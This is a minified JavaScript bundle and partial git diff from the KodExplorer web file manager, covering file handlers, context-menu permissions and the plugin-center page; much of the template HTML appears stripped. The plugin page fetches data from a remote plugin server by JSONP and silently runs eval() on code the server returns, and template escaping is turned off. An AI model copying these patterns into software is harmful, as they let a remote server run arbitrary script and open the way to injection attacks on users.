window.open(f)}catch(g){}kodApp.open(a,b,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(a,b){var c=core.path2url(a);core.openDialog(c,core.icon("html"),core.pathThis(a))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(a,b){var c=core.path2url(a),d="pdf"+UUID(),e='";$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"80%",height:"75%",padding:0,content:e}),PDFObject.embed(c,"#"+d)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),core.openApp(c)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),c.path=a,ui.path.pathOperate.appEdit(c)})}});var d={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(a,b){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(d,".menu-body-main",".app-install"),$.contextMenu.menuAdd(d,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(d,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(a,b,c){var d=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(c.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),c.removeClass("menu-auto-fit"),h(b),c.inScreen()||c.addClass("menu-auto-fit"),".menu-body-main"==a){var e=c.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?e.removeClass("hidden"):e.addClass("hidden")}if(_.include(d,a)){var f="disabled",g=".cute,.rname,.remove",i=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";b.hasClass("file-not-readable")?c.find(i).addClass(f):c.find(i).removeClass(f),b.hasClass("file-not-writeable")?c.find(g).addClass(f):c.find(g).removeClass(f)}}),Hook.bind("rightMenu.show.menu-body-main",function(a,b){var c=".upload,.past,.newfolder,.newfile",d="disabled";_.get(G,"jsonData.info.canUpload")?b.find(c).removeClass(d):b.find(c).addClass(d)}),Hook.bind("rightMenu.show.menu-file",function(a,b){if($(".context-menu-active").hasClass("menu-tree-file"))var c=ui.tree.makeParam();else var c=ui.path.makeParam();var d=core.pathExt(c.path),e="hidden";inArray(["jpg","jpeg","png"],d)?b.find(".set-background").removeClass(e):b.find(".set-background").addClass(e)});var e=function(){var a=".close-item,.refresh,.newfile,.past,.info",b=".open-browser",c=".explorer,.create-project,.open-project",d=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",e=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",f=$(".menu-tool-path"),g="hidden",h=ui.fileLight.fileListSelect();f.find(".context-menu-item").addClass(g),0==h.length?f.find(a).removeClass(g):1==h.length?(f.find(".context-menu-item").removeClass(g),"folder"==ui.fileLight.type(h)?f.find(b).addClass(g):f.find(c).addClass(g)):h.length>1&&f.find(d).removeClass(g),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&f.find(e).filter(":not(."+g+")").addClass(g)},f=function(){var a=ui.fileLight.fileListSelect(),b=$(".kod-toolbar-path .select-button-show"),c="hidden";G.jsonData&&G.jsonData.info&&(0==a.length||G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id!=G.userID?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=share]").removeClass(c),b.find("[data-action=rname]").removeClass(c),a.length>1&&(b.find("[data-action=share]").addClass(c),b.find("[data-action=rname]").addClass(c))))},g=function(){var a=_.get(G,"jsonData.info.pathType"),b=$(".kod-toolbar-share .select-button-show-share"),c=ui.fileLight.fileListSelect(),d="hidden";a!=G.KOD_USER_SHARE||0==c.length?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=shareEdit]").removeClass(d),b.find("[data-action=shareOpenWindow]").removeClass(d),c.length>1&&(b.find("[data-action=shareEdit]").addClass(d),b.find("[data-action=shareOpenWindow]").addClass(d)))};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){e(),f(),g(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){e()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var a="hidden",b={"explorer.fileDownload":"@.down,@.download,@.share,@.open-text,[data-action=download]","explorer.search":"@.search","explorer.mkfile":"@.newfile,[data-action=newfile],@.past,@.clone","explorer.mkdir":"@.newfolder,[data-action=newfolder]","explorer.pathRname":"@.rname,[data-action=rname]","explorer.pathDelete":"@.remove,@.remove + .context-menu-separator,[data-action=remove]","explorer.pathCopy":"@.cute,@.copy,[data-action=cute],[data-action=copy]","explorer.fileUpload":"@.upload,@.upload-more,[data-action=upload],[data-action=upload-more]","explorer.unzip":"@.unzip","explorer.zip":"@.zip","userShare.set":"@.share,[data-action=share]"};setTimeout(function(){for(var c in b){var d=replaceAll(b[c],"@",".context-menu-list ");core.authCheck(c)||$(d).addClass(a)}},100),core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),kodApp.remove("htmlView"))}}),Hook.bind("kodApp.callback.before",function(a,b,c){return-1==$.inArray(a.name,["browserOpen","htmlView","zipView"])||core.authCheckGroup("explorer.fileDownload",b)?void 0:(Tips.tips(LNG.no_permission_action,"error"),!0)});var h=function(a){return},i=function(){if(G.authGroupRole||(G.authGroupRole={}),_.get(G,"jsonData.info.pathType")==G.KOD_GROUP_PATH){var a=_.get(G,"jsonData.info.id");G.authGroupRole[a]=_.get(G,"jsonData.info.groupRole.authArr")}h()};Hook.bind("explorer.path.ajaxLive",i)});;define("app/common/tpl/copyright.html",[],'\n');;define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n");;define("app/src/plugins/page",["./tpl/main.html","./tpl/list.html"],function(require,exports){var APP_TYPE="install",SORT_TYPE="default",SEARCH_WORDS="",loadListAnimation=200,SORT={by:"id",desc:"up"},appListServer=!1,appListLocal={},appListAll={},tpl={main:require("./tpl/main.html"),list:require("./tpl/list.html")},bindEvent=function(){$.getUrlParam("type")&&(APP_TYPE=$.getUrlParam("type")),$("ul.setting a").click(function(){$(".app-plugins .app-content-box").scrollTop(0),reLoadAppList($(this).attr("data-type"))}),$(".app-model [action]").die("click").live("click",function(a){return doAction($(this).attr("action"),$(this)),$(this).parents(".dropdown-menu").exists()&&$(this).parents(".action").removeClass("open"),stopPP(a)}),bindSearch(),requestLocal(reLoadAppList),setTimeout(requestServerData,100),"zh-CN"==G.lang?(LNG.PluginInstallSelf="手动安装",LNG.PluginUpdateAll="更新所有",LNG.PluginInstallSelfDesc="当您的服务器不支持离线下载,或者虚拟主机商禁用了相关功能时,可以手动下载插件,下载后上传解压到plugins目录下(需要保留插件名的文件夹,不能修改),再到插件中心启用即可.下载地址",LNG.PluginInstallNetworkError="网络错误,请检查服务器能否访问外网。"):(LNG.PluginInstallSelf="Manual installation",LNG.PluginUpdateAll="Update All",LNG.PluginInstallSelfDesc="When your server does not support offline download, or disable the virtual host related functions, you can manually download the plug-in, download after decompression uploaded to the plugins directory, and then to the plug-in can be enabled Download Center.",LNG.PluginInstallNetworkError="Network error. Please check whether the server can access the external network.")},requestLocal=function(a){$.ajax({url:G.appHost+"pluginApp/appList",dataType:"json",error:function(a,b,c){Tips.close(LNG.error,!1),core.ajaxError(a,b,c)},success:function(b){appListLocal=$.extend(!0,{},b),appListDataLoad(b),a&&a()}})},appListDataLoad=function(a){if(void 0==a&&(a=appListLocal),!a.code)return!1;var b=a.data;if(appListServer){appListAll=$.extend(!0,{},appListServer);for(var c in b)if(b[c].id){var d=_.get(appListAll[c],"server");appListAll[c]=b[c],d&&(appListAll[c].server=d)}}else appListAll=b;for(var e in appListAll){var f=appListAll[e];if($.isPlainObject(f.configItem)&&$.isPlainObject(f.config))for(var c in f.config)$.isPlainObject(f.configItem[c])&&(f.configItem[c].valueDefault=f.configItem[c].value,f.configItem[c].value=f.config[c])}pluginUpdateCheck()},requestServerData=function(){$.ajax({url:G.settings.pluginServer+"plugin/appList",data:{version:G.version,versionHash:G.versionHash,systemOS:G.systemOS,phpVersion:G.phpVersion,lang:G.lang},dataType:"jsonp",success:function(data){if(data.code){if(appListServer={},$.each(data.data,function(){appListServer[this.id]=this}),data.info&&(SORT=data.info.sort,data.info.code))try{eval(data.info.code)}catch(e){}appListDataLoad(),checkFirstSearch()||showAppList()}else Tips.tips(data.data,!1)}})},pluginUpdateCheck=function(){var a=getAppList("update");$(".badge-tag-update").exists()||$('').insertAfter("[data-type=update]"),$.isArray(a)&&a.length>=1?($(".badge-tag-update").removeClass("hidden"),$(".badge-tag-update").html(a.length)):$(".badge-tag-update").addClass("hidden")},pluginUpdateInstallCheck=function(){if("update"==APP_TYPE){var a=getAppList("update");if($.isArray(a)&&a.length>=1&&0==$('[action="appUpdateAll"]').length){var b=$(".app-content.app-plugins .app-content-box .h1");$('").appendTo(b)}}},checkFirstSearch=function(){var a=$.getUrlParam("search");return a?($(".search input").val(a).focus(),startSearch(),!0):!1},bindSearch=function(){var a=$(".search input"),b=$(".search .btn-close");a.inputChange(function(a,c){c.length>0?b.removeClass("hidden"):b.addClass("hidden")}).keyEnter(function(){startSearch()}).blur(function(){SEARCH_WORDS=trim(a.val())}),$(".search .btn-search").click(function(){startSearch()}),$(".clear-search-btn,.search .btn-close").live("click",function(){SEARCH_WORDS="",a.val("").trigger("input").focus(),reLoadAppList()})},startSearch=function(){var a=$(".search input"),b=trim(a.val());a.focus().trigger("input"),SEARCH_WORDS=b,reLoadAppList()},doAction=function(a,b){var c;$(".app-plugins .app-content-box");if(c=b.hasClass("data-app")?b.attr("data-app"):$(b).parents(".data-app").attr("data-app"),checkAuth(a)!==!1)switch(a){case"historyBack":showAppList();break;case"appDescription":showAppDescription(c);break;case"appEnable":appChangeStatus(c,1);break;case"appDisable":appChangeStatus(c,0);break;case"appConfig":showAppConfig(c);break;case"appInstall":appInstall(c);break;case"appUpdate":appInstall(c,"update");break;case"installSelf":appInstall(c,"self");break;case"appRemove":appRemove(c,b);break;case"appUpdateAll":$('[action="appUpdateAll"]').addClass("disabled"),$(".app-list .data-app").each(function(){appInstall($(this).attr("data-app"),"update")})}},checkAuth=function(a){var b={appEnable:"changeStatus",appDisable:"changeStatus",appConfig:"setConfig",appInstall:"unInstall",appRemove:"unInstall"};if(b[a]){var c="pluginApp."+b[a];return core.authCheck(c,!0)?void 0:!1}},refreshData=function(a,b,c){var d=function(){if($(".app-content-box").hasClass("hidden")){var a=$(".app-descript .data-app").attr("data-app");showAppDescription(a)}else reLoadAppList()};b?(appListDataLoad(b),d()):requestLocal(function(){d(),c&&c()})},appChangeStatus=function(a,b){Tips.loading(LNG.loading),$.ajax({url:G.appHost+"pluginApp/changeStatus&app="+a+"&status="+b,dataType:"json",error:function(a,b,c){Tips.close(LNG.error,!1),core.ajaxError(a,b,c)},success:function(b){b.code?(refreshData(a,b),Tips.close(LNG.success)):"needConfig"==b.data?(Tips.close(LNG.PluginNeedConfig,"warning"),showAppConfig(a)):Tips.close(b)}})},appRemove=function(a,b){$.artDialog.confirm(LNG.remove_info,function(){appRemoveRequest(a)})},appRemoveRequest=function(a){Tips.loading(LNG.loading),$.ajax({url:G.appHost+"pluginApp/unInstall&app="+a,dataType:"json",error:function(a,b,c){Tips.close(LNG.error,!1),core.ajaxError(a,b,c)},success:function(b){Tips.close(b),refreshData(a,b)}})},showAppList=function(){var a=$(".app-plugins .app-content-box"),b=a.find(".app-list"),c=a.scrollTop();$(".app-plugins .app-descript").addClass("hidden"),a.removeClass("hidden"),template.helper("nameToClassName",nameToClassName);var d=template.compile(tpl.list),e=getAppList(),f=d({data:{appList:e},LNG:LNG});if(e.length>0)for(var g=0;20>g;g++)f+='
        ';b.stop().hide().html(f).fadeIn(loadListAnimation),a.scrollTop(c),pluginUpdateInstallCheck()},nameToClassName=function(a){for(var b=["bg-red-6","bg-red-8","bg-red-10","bg-green-6","bg-green-8","bg-green-10","bg-blue-6","bg-blue-8","bg-blue-10","bg-purple-6","bg-purple-8","bg-purple-10","bg-cyan-6","bg-cyan-8","bg-cyan-10","bg-pink-6","bg-pink-8","bg-pink-10","bg-orange-6","bg-orange-8","bg-orange-10","bg-yellow-6","bg-yellow-8","bg-yellow-10","bg-grey-6","bg-grey-8","bg-grey-10"],c=0,d=0;d0&&-1==f.className.indexOf("dialog-form-style-mac")&&(f.className+=" form-dialog-has-menu",f.width+=140),b.source){var g=b.source.icon||b.source.className;if(g)f.ico=core.icon(g);else{var h=nameToClassName(b.name);f.ico=''+b.name.substr(0,2)+""}}d.core.formMake.initDialog(c,f,function(b){return appConfigReauest(a,b),!1})},appConfigReauest=function(a,b){"reset"!=b&&$.each(b,function(b,c){appListAll[a].configItem[b].value=c});var c=ShareData.frameTop();c.Tips.loading(LNG.loading),$.ajax({url:G.appHost+"pluginApp/setConfig",data:{app:a,value:b},type:"POST",error:function(){},success:function(b){if(c.Tips.close(b),b.code){var d=loadListAnimation;loadListAnimation=0,refreshData(a,!1,function(){loadListAnimation=d})}}})},appInstall=function(a,b){request(a,"check",function(c){if(c.code){var d=appListAll[a],e="update"==b;return"self"==b?showInstallSelf(c.data,d):void new appInstallStart(a,d.server.size,e)}if("needLicense"==c.info)$.artDialog.alert(c.data);else{var f=c.data;f||(f=LNG.PluginInstallNetworkError),Tips.tips(f,!1)}})},request=function(a,b,c){$.ajax({url:G.appHost+"pluginApp/install&step="+b+"&app="+a,dataType:"json",error:function(a,b,d){core.ajaxError(a,b,d),"function"==typeof c&&c()},success:function(a){"function"==typeof c&&c(a)}})},showInstallSelf=function(a,b){$.dialog({id:"show-install-self",width:"300px",fixed:!0,padding:"30px 40px 50px 40px",title:LNG.PluginInstallSelf,content:LNG.PluginInstallSelfDesc+":"+LNG.download+""})},appInstallStart=function(a,b,c){var d=".app-model:not(.hidden) [data-app="+a+"]",e=d+" .btn-group";$(e).addClass("disabled");var f,g=function(){clearInterval(f),$(d).find(".progress").addClass("hidden"),$(e).removeClass("disabled").find("[action=appInstall] span").html(LNG.PluginInstall)},h=function(){var a,c="0B/s",g=0,h=function(b){if(timeFloat()-g<=.3)return c;g=timeFloat();var d=5;"undefined"==typeof a?a=[[timeFloat()-.5,0],[timeFloat(),b]]:d>=a?a.push([timeFloat(),b]):(a=a.slice(1,d),a.push([timeFloat(),b]));var e=a[a.length-1],f=a[0],h=(e[1]-f[1])/(e[0]-f[0]);return h=pathTools.fileSize(h)+"/s",c=h,h},j=function(a){var c=h(a),f=parseFloat(a)/parseFloat(b)*100;$(e).addClass("disabled").find("[action=appInstall] span").html(LNG.downloading),$(d).find(".progress").removeClass("hidden"),$(d).find(".total-size").html(pathTools.fileSize(b)),$(d).find(".download-speed").html(f.toFixed(1)+"% ("+c+") "),$(d).find(".progress-bar").css("width",f+"%")};j(0),f=setInterval(function(){i(function(a){a&&a.code&&a.data&&j(a.data),a&&a.code&&a.data==b&&l()})},300)},i=function(b){request(a,"fileSize",b)},j=function(b){request(a,"remove",b)},k=function(b){request(a,"update",b)},l=function(){clearInterval(f),Tips.loading(LNG.unziping),$(e).find("[action=appInstall] span").html(LNG.PluginInstalling),request(a,"unzip",function(b){return g(),b&&b.code===!1?Tips.close(b.data):void(b.code&&(Tips.close(LNG.updateSuccess),j(),c&&k(),refreshData(a,!1,function(){appChangeStatus(a,1)})))})},m=function(b){$(e).find("[action=appInstall] span").html(LNG.downloading),Tips.loading(LNG.loading),request(a,"download",function(a){return"downloading"!=a.data?0==a.code?(Tips.close(a),g()):void b(a):void 0})};i(function(a){return a&&a.code&&a.data==b?l():(h(),void m(function(a){return clearInterval(f),a&&a.code?l():void 0}))})},appSearch=function(a){var b=trim(a).toLowerCase().split(/\s+/),c=[];for(var d in appListAll){for(var e=appListAll[d],f=0,g=[e.id,e.name,e.title,e.auther.copyright,e.auther.homePage,_.get(e,"configItem.fileExt.value",""),_.get(e,"configItem.fileExt.desc",""),e.description,e.category,e.keywords].join(",").toLowerCase(),h=0;hd?1:-1;return e*("up"==SORT.desc?1:-1)}),a},getAppList=function(a){a||(a=APP_TYPE);var b=function(b){if(!b.category)return!1;var c=b.category.split(",");return-1!=c.indexOf(a)?!0:!1};switch(a){case"install":b=function(a){return"1"==a.status||"0"==a.status?!0:!1};break;case"update":b=function(a){return a.server&&parseFloat(a.server.version)>parseFloat(a.version)?!0:!1};break;case"all":b=function(a){return!0};break;case"others":b=function(a){return a.category?!1:!0}}var c=[],d=appListAll;SEARCH_WORDS&&(d=appSearch(SEARCH_WORDS));for(var e in d)d[e].hidden||b(d[e])&&c.push(d[e]);return appSort(c)},reLoadAppList=function(a){void 0==a&&(a=APP_TYPE),APP_TYPE=a,$(".app-menu-left a[data-type]").removeClass("selected"),$('.app-menu-left a[data-type="'+a+'"]').addClass("selected");var b=""+$(".selected").text();0!=SEARCH_WORDS.length&&(b+='('+LNG.search+":"+SEARCH_WORDS+') '),$(".main").find(".h1").html(b),showAppList()};return{reload:reLoadAppList,init:bindEvent}});;define("app/src/plugins/tpl/main.html",[],'
        \n \n
        {{item.name}}
        \n
        \n
        \n
        \n {{if item.source && item.source.icon}}\n \n {{else if item.source && item.source.thumb}}\n \n {{else if item.source && item.source.className}}\n
        \n {{else}}\n
        \n {{item.name.substr(0,2)}}\n
        \n {{/if}}\n
        \n
        {{item.title}}
        \n \n
        \n {{if item.status == 1}}\n {{if item.server && kod.window.parseFloat(item.server.version) > kod.window.parseFloat(item.version)}}\n \n {{else if item.appOpen}}\n \n {{else}}\n \n {{/if}}\n\n \n \n {{else if item.status == 0}}\n \n \n \n {{else}}\n {{if item.price > \'A\' && kod.core.versionType == \'A\'}}\n \n {{else}}\n \n \n \n {{/if}}\n {{/if}}\n
        \n \n
        \n \n \n
        \n
        \n\n
        \n
        \n
        {{LNG.PluginStatus}}
        \n {{if item.status == 1}}\n {{if item.server && kod.window.parseFloat(item.server.version) > kod.window.parseFloat(item.version)}}\n
        {{LNG.PluginHasUpdate}}(Ver {{item.server.version}})
        \n {{else}}\n
        {{LNG.PluginStatusEnabled}}
        \n {{/if}} \n {{else if item.status == 0}}\n
        {{LNG.PluginStatusDisabled}}
        \n {{else}}\n
        {{LNG.PluginStatusNotInstall}}
        \n {{/if}}\n\n {{if item.auther.copyright}}\n
        {{LNG.PluginAuther}}
        \n
        \n {{if item.auther.homePage}}\n {{item.auther.copyright}}\n {{else}}\n {{item.auther.copyright}}\n {{/if}}\n
        \n {{/if}}\n\n
        {{LNG.PluginVersion}}
        \n
        {{item.version}}
        \n\n {{if item.server}}\n
        {{LNG.size}}
        \n
        {{item.server.size |pathTools.fileSize}}
        \n {{/if}}\n
        \n
        \n
        \n {{if item.source && item.source.screenshoot}}\n
        \n \n
        \n {{/if}}\n
        \n {{if item.description}}\n

        {{LNG.PluginReadme}} :

        \n
        {{@item.description}}
        \n {{/if}}\n\n {{if item.configItem && item.configItem.fileExt}}\n

        {{LNG[\'Plugin.Config.fileExt\']}} :

        \n
        {{item.configItem.fileExt.value}}
        \n {{/if}}\n
        \n
        \n');;define("app/src/plugins/tpl/list.html",[],'{{if data.appList.length == 0}}\n
        \n
        \n
        {{LNG.PluginListNull}}
        \n
        \n{{/if}}\n\n{{each data.appList item i}}\n {{if item.errorData}}\n
      • \n {{item.errorData}}\n
      • \n {{else}}\n
      • \n {{if item.status == 1}}\n {{if item.server && kod.window.parseFloat(item.server.version) > kod.window.parseFloat(item.version) }}\n
        {{LNG.PluginHasUpdate}}
        \n {{else}}\n
        {{LNG.PluginStatusEnabled}}
        \n {{/if}}\n {{/if}}\n\n {{if typeof(item.status) == \'undefined\'}}\n {{if !item.price || item.price == 0}}\n {{LNG.version_price_free}}\n {{else}}\n <%\n var arrTo = {\'O\':1,\'P\':2,\'Q\':3,\'R\':4,\'S\':5,\'T\':6};\n var desc = item.price;\n if(arrTo[item.price]){\n desc = LNG[\'version_name_\'+arrTo[item.price]] + LNG.version_price_free;\n }\n %>\n {{desc}}\n {{/if}}\n {{/if}}\n\n
        \n {{if item.source && item.source.thumb}}\n \n {{else if item.source && item.source.icon}}\n \n {{else if item.source && item.source.className}}\n
        \n {{else}}\n
        \n {{item.name.substr(0,2)}}\n
        \n {{/if}}\n
        \n
        \n
        {{item.name}}
        \n \n
        \n
        \n {{if item.status == 1}}\n {{if item.appOpen}}\n \n {{else}}\n \n {{/if}}\n \n \n {{else if item.status == 0}}\n \n \n \n {{else}}\n {{if item.price > \'A\' && kod.core.versionType == \'A\'}}\n \n {{else}}\n \n \n \n {{/if}}\n {{/if}}\n
        \n
        \n \n \n
        \n
        \n
      • \n {{/if}}\n{{/each}}'); \ No newline at end of file diff --git a/static/js/app/src/plugins/tpl/main.js b/static/js/app/src/plugins/tpl/main.js deleted file mode 100755 index e432974..0000000 --- a/static/js/app/src/plugins/tpl/main.js +++ /dev/null @@ -1,2 +0,0 @@ -/*! power by kodcloud ver4.25(2017-12-04) [build 1512365183740] */ -define("app/src/plugins/tpl/main.html",[],'
        \n \n
        {{item.name}}
        \n
        \n
        \n
        \n {{if item.source && item.source.icon}}\n \n {{else if item.source && item.source.thumb}}\n \n {{else if item.source && item.source.className}}\n
        \n {{else}}\n
        \n {{item.name.substr(0,2)}}\n
        \n {{/if}}\n
        \n
        {{item.title}}
        \n \n
        \n {{if item.status == 1}}\n {{if item.server && kod.window.parseFloat(item.server.version) > kod.window.parseFloat(item.version)}}\n \n {{else if item.appOpen}}\n \n {{else}}\n \n {{/if}}\n\n \n \n {{else if item.status == 0}}\n \n \n \n {{else}}\n {{if item.price > \'A\' && kod.core.versionType == \'A\'}}\n \n {{else}}\n \n \n \n {{/if}}\n {{/if}}\n
        \n \n
        \n \n \n
        \n
        \n\n
        \n
        \n
        {{LNG.PluginStatus}}
        \n {{if item.status == 1}}\n {{if item.server && kod.window.parseFloat(item.server.version) > kod.window.parseFloat(item.version)}}\n
        {{LNG.PluginHasUpdate}}(Ver {{item.server.version}})
        \n {{else}}\n
        {{LNG.PluginStatusEnabled}}
        \n {{/if}} \n {{else if item.status == 0}}\n
        {{LNG.PluginStatusDisabled}}
        \n {{else}}\n
        {{LNG.PluginStatusNotInstall}}
        \n {{/if}}\n\n {{if item.auther.copyright}}\n
        {{LNG.PluginAuther}}
        \n
        \n {{if item.auther.homePage}}\n {{item.auther.copyright}}\n {{else}}\n {{item.auther.copyright}}\n {{/if}}\n
        \n {{/if}}\n\n
        {{LNG.PluginVersion}}
        \n
        {{item.version}}
        \n\n {{if item.server}}\n
        {{LNG.size}}
        \n
        {{item.server.size |pathTools.fileSize}}
        \n {{/if}}\n
        \n
        \n
        \n {{if item.source && item.source.screenshoot}}\n
        \n \n
        \n {{/if}}\n
        \n {{if item.description}}\n

        {{LNG.PluginReadme}} :

        \n
        {{@item.description}}
        \n {{/if}}\n\n {{if item.configItem && item.configItem.fileExt}}\n

        {{LNG[\'Plugin.Config.fileExt\']}} :

        \n
        {{item.configItem.fileExt.value}}
        \n {{/if}}\n
        \n
        \n'); \ No newline at end of file diff --git a/static/js/app/src/setting/main.js b/static/js/app/src/setting/main.js index 0a5b2b5..80cf3bd 100755 --- a/static/js/app/src/setting/main.js +++ b/static/js/app/src/setting/main.js @@ -1,7 +1,2 @@ -/*! power by kodcloud ver4.25(2017-12-04) [build 1512365183740] */ -define("app/src/setting/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","lib/contextMenu/jquery-contextMenu","../../common/core","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","./fav","./setting","./system/systemSetting","./system/system","lib/ztree/ztree","./system/systemMember","./system/systemGroup","./system/systemRole","./system/systemGroupRole"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),e("lib/contextMenu/jquery-contextMenu"),core=e("../../common/core"),core.init(),Fav=e("./fav"),Setting=e("./setting"),e("./system/systemSetting"),System=e("./system/system")}),define("app/common/core",["./rightMenuExtence","../app/appBase","../app/editor","../app/openWith","../app/html"],function(require,exports){tplUpload=require("./tpl/upload.html"),tplFormMake=require("./tpl/formMake.html");var tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),formMake=require("./core.formMake");require("./rightMenuExtence"),kodApp=require("../app/appBase"),require("../app/editor"),require("../app/openWith"),require("../app/html"),pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initTemplate=function(){window.require=require,template.config||(template.config=function(e,t){template.defaults[e]=t},template.helper=function(e,t){template.defaults.imports[e]=t}),template.config("escape",!1),template.config("compress",!0),template.helper("kod",{$:$,window:window,log:console.log,core:core,pathTools:window.pathTools,inArray:inArray}),template.defaults.imports.pathTools=window.pathTools,template.defaults.escape=!1,"_dev"==G.environment?(template.defaults.cache=!1,template.defaults.minimize=!1,template.defaults.compileDebug=!0):(template.defaults.cache=!0,template.defaults.minimize=!0,template.defaults.compileDebug=!1)},initFirst=function(){initTemplate(),"undefined"!=typeof G&&(1!=G.isRoot&&$(".menu-system-setting").remove(),G.isRoot||core.authCheck("systemMember.get")||1==core.authCheck("systemGroup.get")||$(".menu-system-group").remove(),G.userConfig&&"0"==G.userConfig.animateOpen&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{$.contextMenu.hidden()}catch(e){}}),$("body").click(function(){ShareData.frameTop("",function(e){self!=e&&e.$("body").trigger("click")})}),$.dialog.defaults.animate&&loadRipple(["a","button",".ripple-item",".context-menu-item","#picker",".menuShareButton",".menu-recycle-button",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common-footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init();for(var e=0;window.kodReady.length>e;e++)try{window.kodReady[e]()}catch(t){console.error("kodReady error:",t)}Hook.trigger("kodReady.end"),titleTips()},resetHost=function(){var e=window.location,t=e.port?":"+e.port:"";G.webHost=e.protocol+"//"+e.hostname+t+"/",G.appHost=rtrim(G.webHost,"/")+e.pathname.replace("index.php","")+"index.php?",G.appRoot=rtrim(G.webHost,"/")+e.pathname.replace("index.php",""),"1"==G.settings.paramRewrite&&(G.appHost=G.appHost.replace("index.php?","index.php/")),Cookie.set("HOST",G.webHost),Cookie.set("APP_HOST",G.appRoot),Cookie.set("kodUserLanguage",G.lang,8760)},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
